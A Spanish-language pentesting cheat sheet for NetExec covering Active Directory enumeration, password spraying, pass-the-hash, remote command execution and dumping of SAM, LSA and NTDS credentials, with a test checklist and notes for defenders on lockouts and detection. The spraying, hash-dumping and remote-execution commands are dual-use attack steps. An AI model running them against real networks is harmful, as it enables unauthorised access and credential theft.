NetExec (CME)

NetExec (el sucesor de CrackMapExec) es la navaja suiza del pentest de Active Directory y redes Windows. Automatiza la enumeración y el “spraying” de credenciales sobre múltiples hosts y protocolos (SMB, WinRM, LDAP, MSSQL, RDP, SSH). Imprescindible en el área Windows & AD (ad-*).

Qué hace

- validar credenciales en masa sobre muchos hosts (¿dónde funciona esta cuenta?)
- enumerar: shares, usuarios, políticas, sesiones, miembros de grupos
- ejecutar comandos, volcar hashes/secretos, y multitud de módulos
- soporta SMB, LDAP, WinRM, MSSQL, RDP, SSH, FTP, VNC...

Uso básico (SMB)

nxc smb 10.10.10.0/24                              # barrer: hosts, SMB signing, versión
nxc smb host -u user -p pass                        # validar credencial
nxc smb host -u user -p pass --shares               # enumerar shares
nxc smb 10.10.10.0/24 -u user -p pass               # password spraying por la subred
nxc smb host -u user -H <NThash>                     # pass-the-hash (ver ad-creds)

Enumeración y post

nxc smb host -u u -p p --users / --groups / --sessions / --loggedon-users
nxc smb host -u u -p p --sam / --lsa / --ntds        # volcar credenciales (ver ad-creds)
nxc ldap host -u u -p p --bloodhound ...             # recolectar para BloodHound (ad-bloodhound)
nxc smb host -u u -p p -x 'comando'                  # ejecutar comando
nxc winrm host -u u -p p -x 'whoami'                 # ejecución vía WinRM

Password spraying (con cuidado)

# probar UNA contraseña contra MUCHOS usuarios (evita bloqueos) -> ver ad-spray
nxc smb DC -u users.txt -p 'Primavera2024!' --continue-on-success
# OJO con la política de bloqueo (lockout): spraying mal hecho bloquea cuentas (ruido/DoS)

Marcadores útiles

(Pwn3d!)   NetExec marca con esto cuando la credencial da ejecución admin en el host
--local-auth  autenticación local (no de dominio)
# la salida resume rápido en qué hosts una cuenta es admin -> mapa de acceso

Blue Team / uso

NetExec mapea rápido dónde funciona una credencial y dónde es admin (Pwn3d!) en todo el dominio.
Integra enumeración, spraying (Password Spraying), pass-the-hash (Volcado de credenciales) y volcado (NTDS/SAM/LSA).
Cuidado con la política de bloqueo al rociar: mal hecho bloquea cuentas (DoS y ruido).
Para el defensor: su actividad (muchos 4625/4624, acceso a shares) es muy detectable (Detección & logging).

Trucos y errores comunes

Empieza por --shares, --users, --pass-pol para enumerar antes de spray; respeta la lockout policy.
Error típico: spraying agresivo que bloquea cuentas del dominio; 1 intento por cuenta y espera la ventana.
Usa el módulo adecuado y guarda el loot; --ntds solo con admin de dominio; marca el host con (Pwn3d!).
Soporta protocolos más allá de SMB (WINRM, LDAP, MSSQL, SSH); elige el que toque por objetivo.

Checklist de prueba

Barrido SMB de la subred (signing, versiones, hosts)
Validar credenciales y buscar (Pwn3d!) por el dominio
Enumerar shares/usuarios/grupos/sesiones
Password spraying respetando la política de bloqueo (Password Spraying)
Pass-the-hash donde aplique (Volcado de credenciales)
Recolección para BloodHound (BloodHound)
Volcado de credenciales con cuenta privilegiada (Volcado de credenciales)